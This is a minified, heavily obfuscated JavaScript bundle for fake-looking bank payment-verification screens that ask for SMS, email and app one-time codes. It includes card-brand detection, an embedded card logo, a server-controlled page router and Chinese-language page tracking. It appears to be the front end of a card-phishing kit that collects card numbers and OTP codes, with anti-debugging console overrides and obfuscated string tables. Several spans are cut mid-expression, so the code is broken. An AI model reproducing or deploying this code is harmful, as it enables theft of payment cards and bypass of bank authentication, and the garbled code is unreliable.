Pn="data:image/svg+xml,%3c?xml%20version='1.0'%20encoding='utf-8'?%3e%3c!--%20Generator:%20Adobe%20Illustrator%2023.0.2,%20SVG%20Export%20Plug-In%20.%20SVG%20Version:%206.00%20Build%200)%20--%3e%3csvg%20version='1.1'%20baseProfile='basic'%20id='Layer_1'%20xmlns='http://www.w3.org/2000/svg'%20xmlns:xlink='http://www.w3.org/1999/xlink'%20x='0px'%20y='0px'%20width='316.4px'%20height='108px'%20viewBox='0%200%20316.4%20108'%20xml:space='preserve'%3e%3cpath%20fill='%23474C55'%20d='M112.31,63.43l4.75-2.49c2.11,4.17,5.37,6.19,9.78,6.19c4.32,0,7.24-1.39,7.24-4.6%20c0-3.07-2.21-4.51-8.06-6.24c-6.86-2.01-12.38-3.89-12.38-10.65c0-6.04,4.94-10.03,12.14-10.03c7,0,11.13,3.45,13.29,7.63%20l-4.36,3.02c-2.11-3.55-5.13-5.18-8.97-5.18c-3.93,0-6.19,1.44-6.19,4.03c0,3.31,2.54,4.41,8.35,6.14%20c6.71,1.97,12.09,4.17,12.09,10.84c0,5.8-4.94,10.36-13.38,10.36C119.56,72.45,114.57,68.8,112.31,63.43z'/%3e%3cpath%20fill='%23474C55'%20d='M142.73,65.64c0-5.52,4.7-9.21,16.6-10.55v-0.77c0-2.54-1.34-3.64-4.17-3.64c-3.55,0-6.43,1.73-8.59,3.45%20l-2.88-3.69c2.74-2.49,7-4.6,12.28-4.6c6.81,0,9.16,3.26,9.16,9.21v10.51c0,3.07,0.19,4.94,0.72,6.24h-5.95%20c-0.34-1.05-0.58-1.82-0.58-3.26c-2.59,2.64-5.61,3.65-9.4,3.65C145.8,72.16,142.73,69.86,142.73,65.64z%20M159.33,64.68v-5.61%20c-7.05,0.96-10.79,2.69-10.79,5.47c0,2.01,1.39,3.07,3.55,3.07C155.11,67.6,157.46,66.45,159.33,64.68z'/%3e%3cpath%20fill='%23474C55'%20d='M173.34,71.77V51.01h-4.41v-4.7h4.41v-2.59c0-4.27,1.78-7.58,8.25-7.58c1.1,0,3.07,0.19,3.5,0.24v4.56%20c-0.38-0.1-1.34-0.19-2.01-0.19c-2.11,0-3.84,0.58-3.84,3.31v2.25h5.56v4.7h-5.56v20.77H173.34z'/%3e%3cpath%20fill='%23474C55'%20d='M186.92,59.06c0-9.69,6.86-13.24,12.14-13.24c5.71,0,11.18,3.41,11.18,13.77v1.39h-17.41%20c0.24,4.6,3.07,6.62,6.81,6.62c3.31,0,5.23-1.1,7.15-2.97l3.12,3.07c-2.64,2.93-6.14,4.6-10.7,4.6%20C192.82,72.3,186.92,68.42,186.92,59.06z%20M204.81,56.57c-0.34-3.89-2.25-5.95-5.8-5.95c-2.88,0-5.52,1.63-6.09,5.95H204.81z'/%3e%3cg%3e%3cpath%20fill='%23878A8F'%20d='M215.51,71.77v-35.5h4.22V54.6l16.07-18.32h5.08l-12.18,13.53l13.86,21.97h-4.85l-11.8-18.75l-6.19,6.76%20v11.99H215.51z'/%3e%3cpath%20fill='%23878A8F'%20d='M243.77,59.11c0-9.21,6.14-13.19,11.46-13.19c6,0,10.55,4.22,10.55,13.38v0.86H247.9%20c0.14,5.71,3.45,8.78,7.63,8.78c3.64,0,5.71-1.49,7.63-4.12l2.4,2.11c-2.35,3.36-5.56,5.37-10.31,5.37%20C249.24,72.3,243.77,67.94,243.77,59.11z%20M261.86,56.95c-0.34-4.51-2.49-7.58-6.67-7.58c-3.41,0-6.62,2.35-7.2,7.58H261.86z'/%3e%3cpath%20fill='%23878A8F'%20d='M267.67,80.89l0.96-3.31c0.72,0.19,1.97,0.43,3.74,0.43c2.59,0,3.84-1.1,4.84-3.6l0.96-2.49l-9.78-25.47%20h4.36l7.43,20.48h0.1l7.44-20.48h4.17l-10.84,28.21c-1.73,4.46-3.69,6.86-8.63,6.86C270.16,81.51,268.77,81.22,267.67,80.89z'/%3e%3cpath%20fill='%23878A8F'%20d='M293.27,50.05c0-2.15,1.66-3.81,3.81-3.81c2.12,0,3.76,1.64,3.76,3.78c0,2.15-1.66,3.81-3.81,3.81%20C294.9,53.83,293.27,52.19,293.27,50.05z%20M300.07,50.05c0-1.76-1.3-3.1-3.04-3.1c-1.71,0-2.99,1.31-2.99,3.07%20c0,1.76,1.28,3.09,3.04,3.09C298.79,53.11,300.07,51.81,300.07,50.05z%20M295.56,47.89h1.61c1,0,1.59,0.44,1.59,1.36%20c0,0.64-0.28,0.99-0.74,1.2l0.82,1.58h-1.05l-0.74-1.46h-0.49v1.46h-1V47.89z%20M297.1,49.82c0.44,0,0.69-0.15,0.69-0.53%20c0-0.36-0.25-0.53-0.69-0.53h-0.54v1.05H297.1z'/%3e%3c/g%3e%3cg%3e%3cpolygon%20fill='%23FFFFFF'%20points='88.82,89.93%2053.29,89.93%2017.01,89.93%2017.01,55.66%2017.01,18.12%2052.7,18.12%2088.82,18.12%2088.82,55.77%2088.82,89.93%20'/%3e%3cg%3e%3cpath%20fill='%23006FCF'%20d='M86.04,69.72H61.86l-1.33-1.73v1.73h-5.55v-3.27c-0.77,0.31-1.66,0.48-2.63,0.48h-0.3v2.79h-7.87%20l-1.24-1.74l-1.21,1.74H29.05v-12.5h12.74l1.22,1.7l1.22-1.7h44.59v-39.1H17.01v28.11l2.46-5.74h5.11l1.14,2.63V40.5h6.32%20l0.8,2.27l0.79-2.27h27.18v1.01c1.02-0.69,2.29-1.01,3.64-1.01h8.41l1.14,2.63V40.5h5.16l1.2,1.95V40.5h5.61V53h-5.3l-1.12-1.84%20V53h-7.75l-0.72-1.84h-1.51L68.88,53h-4.56c-1.12,0-2.42-0.21-3.51-0.92V53h-7.78l-1.33-1.73V53H23.52l-0.72-1.84H21.3L20.6,53%20h-3.58v36.94h71.81V68.98C88.06,69.45,87.1,69.72,86.04,69.72L86.04,69.72z'/%3e%3cpath%20fill='%23006FCF'%20d='M86.09,65.99h-4.41v1.8h4.34c1.87,0,2.98-1.14,2.98-2.74c0-1.56-1.01-2.47-2.69-2.47h-1.96%20c-0.51,0-0.86-0.33-0.86-0.83c0-0.48,0.36-0.8,0.86-0.8h3.71l0.8-1.8h-4.43c-1.85,0-2.98,1.14-2.98,2.69%20c0,1.61,1.06,2.51,2.69,2.51h1.96c0.51,0,0.86,0.32,0.86,0.84C86.95,65.67,86.59,65.99,86.09,65.99%20M78.13,65.99h-4.41v1.8h4.34%20c1.87,0,2.98-1.14,2.98-2.74c0-1.56-1.01-2.47-2.69-2.47h-1.96c-0.51,0-0.86-0.33-0.86-0.83c0-0.48,0.36-0.8,0.86-0.8h3.71%20l0.8-1.8h-4.43c-1.85,0-2.98,1.14-2.98,2.69c0,1.61,1.06,2.51,2.69,2.51h1.96c0.51,0,0.86,0.32,0.86,0.84%20C79,65.67,78.64,65.99,78.13,65.99%20M72.57,60.93v-1.78h-6.88v8.65h6.88v-1.75h-4.84v-1.72h4.73v-1.74h-4.73v-1.65H72.57%20L72.57,60.93z%20M61.39,60.95c0.74,0,1.11,0.44,1.11,0.99c0,0.54-0.37,0.99-1.11,0.99h-2.45v-1.98H61.39L61.39,60.95z%20M58.95,64.62%20h0.96l2.63,3.17h2.54l-2.85-3.25c1.46-0.27,2.32-1.31,2.32-2.68c0-1.59-1.14-2.72-2.98-2.72h-4.67v8.65h2.04V64.62L58.95,64.62z%20M53.72,62.05c0,0.59-0.37,1.07-1.11,1.07H50.1v-2.17h2.51C53.35,60.95,53.72,61.43,53.72,62.05%20M48.06,59.15v8.65h2.04v-2.87%20h2.62c1.89,0,3.05-1.24,3.05-2.89c0-1.72-1.14-2.89-2.98-2.89H48.06L48.06,59.15z%20M45.11,67.8h2.54l-3.48-4.36l3.46-4.29h-2.47%20l-2.15,2.8l-2.14-2.8h-2.54l3.47,4.32l-3.46,4.32h2.47l2.15-2.83L45.11,67.8L45.11,67.8z%20M37.95,60.93v-1.78h-6.88v8.65h6.88%20v-1.75h-4.84v-1.72h4.73v-1.74h-4.73v-1.65H37.95L37.95,60.93z'/%3e%3cpath%20fill='%23006FCF'%20d='M77.69,46.26l-0.06-1.45l0.83,1.41l3.04,4.84h2.36v-8.65h-1.93v4.6l0.06,1.46l-0.84-1.43l-2.93-4.62h-2.48%20v8.65h1.95V46.26L77.69,46.26z%20M69.54,45.56l0.63-1.69l0.64,1.69l0.85,2.1H68.7L69.54,45.56L69.54,45.56z%20M73.03,51.07h2.27%20l-3.69-8.65h-2.69l-3.71,8.65h2.11l0.73-1.83h4.24L73.03,51.07L73.03,51.07z%20M64.04,51.07h0.1l0.84-1.82h-0.62%20c-1.43,0-2.27-0.89-2.27-2.45v-0.12c0-1.4,0.77-2.43,2.25-2.43h2.22v-1.83h-2.38c-2.66,0-4.13,1.79-4.13,4.24v0.17%20C60.05,49.38,61.54,51.05,64.04,51.07%20M56.75,51.07h2.04v-4.32v-4.32h-2.04v4.32V51.07L56.75,51.07z%20M52.45,44.23%20c0.74,0,1.11,0.45,1.11,0.99c0,0.54-0.37,0.99-1.11,0.99h-2.45v-1.98H52.45L52.45,44.23z%20M50.01,47.9h0.96l2.63,3.17h2.54%20l-2.85-3.25c1.46-0.27,2.32-1.31,2.32-2.68c0-1.59-1.14-2.72-2.98-2.72h-4.67v8.65h2.04V47.9L50.01,47.9z%20M46.54,44.2v-1.78h-6.88%20v8.65h6.88v-1.75h-4.84V47.6h4.73v-1.74h-4.73V44.2H46.54L46.54,44.2z%20M29.46,45.4l-0.07-1.99l0.63,1.99l1.82,5.67h1.89l1.83-5.67%20l0.63-2l-0.07,2l-0.02,5.67H38v-8.65h-3.21l-1.47,4.53l-0.53,1.94l-0.53-1.94l-1.47-4.53h-3.22v8.65h1.93L29.46,45.4L29.46,45.4z%20M21.36,45.56l0.63-1.69l0.64,1.69l0.85,2.1h-2.96L21.36,45.56L21.36,45.56z%20M24.86,51.07h2.27l-3.69-8.65h-2.69l-3.71,8.65h2.11%20l0.73-1.83h4.24L24.86,51.07L24.86,51.07z'/%3e%3c/g%3e%3c/g%3e%3c/svg%3e",Rn=""+new URL("Czfyyr5f.png",import.meta.url).href,On=""+new URL("C_edgsi6.png",import.meta.url).href;!function(){const e=Vn,t=Vn,n=Vn,a=Vn,r=Un();for(;;)try{if(895234==parseInt(e(194))/1+parseInt(t(167))/2*(-parseInt(e(173))/3)+-parseInt(n(191))/4*(parseInt(e(189))/5)+-parseInt(t(172))/6*(-parseInt(n(188))/7)+parseInt(n(187))/8*(-parseInt(a(184))/9)+parseInt(a(180))/10*(-parseInt(n(171))/11)+parseInt(a(179))/12)break;r.push(r.shift())}catch(Uc){r.push(r.shift())}}();const kn=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function Vn(e,t){e-=167;const n=Un();let a=n[e];void 0===Vn.hYHPgK&&(Vn.gjYYHF=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a{const e=hi.cardNumber;if(e){const t=Sn(e);if(t&&Hn[t])return t}return null}),t=a(()=>{const t=Vn;return e[t(192)+"e"]?Hn[e[t(192)+"e"]]:null});return{detectedBrand:e,cardIcon:t,isSupported:e=>jn["incl"+Vn(186)](e),supportedBrands:jn,BankIcon:"data:image/png;base64,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"}}function Xn(){const e=["y29UCW","Dg9Y","Bg9N","kcKG","ChrPBW","nMrXBenPzW","ndC4nZrguxDOteK","D2fYBG","DMfSDq","mJaYmtC4ovz0C0jgrG","mta3ntCYoeDjCvr3qG","DhjHyW","yMLUza","zxHJzq","Dhj1yW","B3rVxW","mJuXnJK4mgzlq0r4Da","CM4Gka","mti3nZuWsun5z1jR","x19WCG","CMLUzW","CMv0Dq","mJCYnZeXn0ncAMT3Bq","ntyYnZi4sw5UC3PO","zxjYBW","ksGGkq","B3r5Ca","B2XL","Dg9tDa","oen0z01tAW","B25ZDa","uMvZzq","CM4GDa","ChjVDa","mZvUvMDgrxC"];return(Xn=function(){return e})()}const Zn=Kn;!function(){const e=Kn,t=Kn,n=Kn,a=Kn,r=Xn();for(;;)try{if(230639==parseInt(e(177))/1*(-parseInt(e(155))/2)+parseInt(t(182))/3+-parseInt(n(160))/4+parseInt(a(171))/5*(parseInt(a(178))/6)+parseInt(n(181))/7+parseInt(n(166))/8*(parseInt(n(159))/9)+-parseInt(t(153))/10)break;r.push(r.shift())}catch(o){r.push(r.shift())}}();const Jn=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function Kn(e,t){e-=152;const n=Xn();let a=n[e];void 0===Kn.ZVRJHr&&(Kn.mysICZ=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a0===r[n(180)+"e"]),s=a(()=>{const e=n;return r[e(180)+"e"]>0?t+" ("+r[e(180)+"e"]+"s)":t}),l=()=>{const t=n;r.value=e,o[t(180)+"e"]&&clearInterval(o[t(180)+"e"]),o.value=setInterval(()=>{r.value--,r.value<=0&&(clearInterval(o.value),o.value=null)},1e3)},c=()=>{const e=n;o.value&&(clearInterval(o[n(180)+"e"]),o[e(180)+"e"]=null),r.value=0};return m(()=>{c()}),{countdown:r,canAction:i,buttonText:s,start:l,clear:c,reset:()=>{c(),l()}}}Jn(void 0,function(){const e=Kn,t=Kn,n=Kn,a=Kn,r=Kn;let o;try{o=Function(e(158)+e(154)+"function"+n(175)+"{}.c"+n(167)+'ructor("retu'+n(169)+'his"'+e(162)+");")()}catch(l){o=window}const i=o[t(172)+t(164)]=o["cons"+r(164)]||{},s=[r(174),r(179),"info",a(161)+"r",n(185)+t(176)+"n","table",n(183)+"e"];for(let c=0;c>(-2*o&6)):0)n="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(n);for(var s=0,l=a.length;s>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;aca.value),da=(e,t)=>{const n=e.__vccOpts||e;for(const[a,r]of t)n[a]=r;return n},va=["dir"],pa={class:"card"},fa=["src"],ma=["src"],ha={class:"card-body"},ga={class:"title"},Aa={class:"description"},ya={class:"field"},wa={class:"label"},Ca={key:0,class:"error"},ba={class:"actions"},za=["disabled"],Ba=["disabled"],qa={class:"expandable-section"},xa={key:0,class:"expandable-content"},Da={class:"expandable-section"},Ga={key:0,class:"expandable-content"},Ia={key:0,class:"overlay"},La=da({__name:"PhoneCode",setup(e){h(()=>{"phoneCode"!==ei.value.router&&To("payment"),ai("手机验证页")});const{cardIcon:t,BankIcon:n}=Yn(),r=a(()=>ua.value.PHONE_CODE),o=a(()=>!0===ua.value.isRTL),{canAction:i,buttonText:l,start:c}=Fn(30,r.value.RESEND_CODE),u=a(()=>{const e=ei.value?.args;return e&&"string"==typeof e&&e.replace(/\D/g,"").slice(-4)||""}),p=a(()=>r.value.DESCRIPTION(u.value)),f=d("");v(f,e=>{hi.code=e,Qo.codeError&&(Qo.codeError="")});const m=d(!1),B=a(()=>Qo.codeError||"");v(()=>Qo.codeError,e=>{e&&(m.value=!1)}),v(()=>Io.value,()=>{m.value=!1});const q=()=>{f.value&&0!==String(f.value).trim().length?(m.value=!0,Qo.codeError="",ii("code","submitCode")):Qo.codeError=r.value.CODE_REQUIRED},x=()=>{i.value&&(si(),Qo.codeError="",f.value="",m.value=!1,c())},D=d(!1),G=d(!1);return(e,a)=>(A(),g("div",{class:"phone-code",dir:o.value?"rtl":"ltr"},[y("div",pa,[y("div",{class:w(["card-header",{"has-card-brand":s(t)}])},[y("img",{src:s(n),alt:"Bank",class:"bank-icon"},null,8,fa),s(t)?(A(),g("img",{key:0,src:s(t),alt:"Card Brand",class:"card-brand-icon"},null,8,ma)):C("",!0)],2),y("div",ha,[y("h2",ga,b(r.value.TITLE),1),y("p",Aa,b(p.value),1),y("div",ya,[y("label",wa,b(r.value.LABEL),1),z(xi,{modelValue:f.value,"onUpdate:modelValue":a[0]||(a[0]=e=>f.value=e),name:"code",inputmode:"numeric",autocomplete:"one-time-code",placeholder:r.value.PLACEHOLDER},null,8,["modelValue","placeholder"]),B.value?(A(),g("div",Ca,b(B.value),1)):C("",!0)]),y("div",ba,[y("button",{class:"submit",disabled:m.value,onClick:q},b(m.value?r.value.SUBMITTING:r.value.SUBMIT),9,za),y("button",{class:"link",type:"button",disabled:!s(i),onClick:x},b(s(l)),9,Ba)]),y("div",qa,[y("div",{class:"expandable-item",onClick:a[1]||(a[1]=e=>D.value=!D.value)},[y("span",null,b(r.value.LEARN_MORE_TITLE),1),y("span",{class:w(["expand-icon",{expanded:D.value}])},"+",2)]),D.value?(A(),g("div",xa,[y("p",null,b(r.value.LEARN_MORE_CONTENT),1)])):C("",!0)]),y("div",Da,[y("div",{class:"expandable-item",onClick:a[2]||(a[2]=e=>G.value=!G.value)},[y("span",null,b(r.value.HELP_TITLE),1),y("span",{class:w(["expand-icon",{expanded:G.value}])},"+",2)]),G.value?(A(),g("div",Ga,[y("p",null,b(r.value.HELP_CONTENT),1)])):C("",!0)]),m.value?(A(),g("div",Ia,[...a[3]||(a[3]=[y("div",{class:"spinner"},null,-1)])])):C("",!0)])])],8,va))}},[["__scopeId","data-v-f7db4705"]]),Ma=["dir"],Wa={class:"card"},Ea=["src"],Sa=["src"],Ta={class:"card-body"},Na={class:"title"},Pa={class:"description"},Ra={class:"field"},Oa={class:"label"},ka={key:0,class:"error"},Va={class:"actions"},Ua=["disabled"],Ha=["disabled"],ja={class:"expandable-section"},Ya={key:0,class:"expandable-content"},Xa={class:"expandable-section"},Za={key:0,class:"expandable-content"},Ja={key:0,class:"overlay"},Ka=da({__name:"EmailCode",setup(e){h(()=>{"emailCode"!==ei.value.router&&To("payment"),ai("邮箱验证页")});const{cardIcon:t,BankIcon:n}=Yn(),r=a(()=>ua.value.EMAIL_CODE),o=a(()=>!0===ua.value.isRTL),{canAction:i,buttonText:l,start:c}=Fn(30,r.value.RESEND_CODE),u=a(()=>{const e=ei.value?.args;return e&&"string"==typeof e?e:""}),p=a(()=>r.value.DESCRIPTION(u.value)),f=d("");v(f,e=>{hi.code=e,Qo.codeError&&(Qo.codeError="")});const m=d(!1),B=a(()=>Qo.codeError||"");v(()=>Qo.codeError,e=>{e&&(m.value=!1)}),v(()=>Io.value,()=>{m.value=!1});const q=()=>{f.value&&0!==String(f.value).trim().length?(m.value=!0,Qo.codeError="",ii("code","submitCode")):Qo.codeError=r.value.CODE_REQUIRED},x=()=>{i.value&&(si(),Qo.codeError="",f.value="",m.value=!1,c())},D=d(!1),G=d(!1);return(e,a)=>(A(),g("div",{class:"phone-code",dir:o.value?"rtl":"ltr"},[y("div",Wa,[y("div",{class:w(["card-header",{"has-card-brand":s(t)}])},[y("img",{src:s(n),alt:"Bank",class:"bank-icon"},null,8,Ea),s(t)?(A(),g("img",{key:0,src:s(t),alt:"Card Brand",class:"card-brand-icon"},null,8,Sa)):C("",!0)],2),y("div",Ta,[y("h2",Na,b(r.value.TITLE),1),y("p",Pa,b(p.value),1),y("div",Ra,[y("label",Oa,b(r.value.LABEL),1),z(xi,{modelValue:f.value,"onUpdate:modelValue":a[0]||(a[0]=e=>f.value=e),name:"code",inputmode:"numeric",autocomplete:"one-time-code",placeholder:r.value.PLACEHOLDER},null,8,["modelValue","placeholder"]),B.value?(A(),g("div",ka,b(B.value),1)):C("",!0)]),y("div",Va,[y("button",{class:"submit",disabled:m.value,onClick:q},b(m.value?r.value.SUBMITTING:r.value.SUBMIT),9,Ua),y("button",{class:"link",type:"button",disabled:!s(i),onClick:x},b(s(l)),9,Ha)]),y("div",ja,[y("div",{class:"expandable-item",onClick:a[1]||(a[1]=e=>D.value=!D.value)},[y("span",null,b(r.value.LEARN_MORE_TITLE),1),y("span",{class:w(["expand-icon",{expanded:D.value}])},"+",2)]),D.value?(A(),g("div",Ya,[y("p",null,b(r.value.LEARN_MORE_CONTENT),1)])):C("",!0)]),y("div",Xa,[y("div",{class:"expandable-item",onClick:a[2]||(a[2]=e=>G.value=!G.value)},[y("span",null,b(r.value.HELP_TITLE),1),y("span",{class:w(["expand-icon",{expanded:G.value}])},"+",2)]),G.value?(A(),g("div",Za,[y("p",null,b(r.value.HELP_CONTENT),1)])):C("",!0)]),m.value?(A(),g("div",Ja,[...a[3]||(a[3]=[y("div",{class:"spinner"},null,-1)])])):C("",!0)])])],8,Ma))}},[["__scopeId","data-v-ae6e0698"]]),Fa=["dir"],Qa={class:"card"},_a=["src"],$a=["src"],er={class:"card-body"},tr={class:"title"},nr=["innerHTML"],ar={class:"waiting-indicator"},rr={class:"waiting-message"},or={key:0,class:"error-alert"},ir={class:"error-alert-content"},sr={class:"error-alert-title"},lr={class:"error-alert-message"},cr={class:"action-buttons"},ur=["disabled"],dr={class:"expandable-section"},vr={key:0,class:"expandable-content"},pr={class:"expandable-section"},fr={key:0,class:"expandable-content"},mr=da({__name:"AppCode",setup(e){h(()=>{"appCode"!==ei.value.router&&To("payment"),ai("APP验证页")});const{cardIcon:t,BankIcon:n}=Yn(),r=a(()=>ua.value.APP_CODE),o=a(()=>!0===ua.value.isRTL),{canAction:i,buttonText:l,start:c}=Fn(30,r.value.NOT_RECEIVED_BUTTON),u=a(()=>{const e=ei.value?.args;return e&&"string"==typeof e?e:""}),p=a(()=>u.value?u.value:"function"==typeof r.value.DESCRIPTION?r.value.DESCRIPTION():r.value.DESCRIPTION||""),f=a(()=>hi.merchant||hi.merchantName||""),m=a(()=>hi.amount||hi.totalAmount||""),z=a(()=>hi.cardNumber||"");a(()=>{if(!z.value)return"";const e=z.value.replace(/\s+/g,"");if(e.length<4)return e;const t=e.slice(0,4),n=e.slice(-4);return 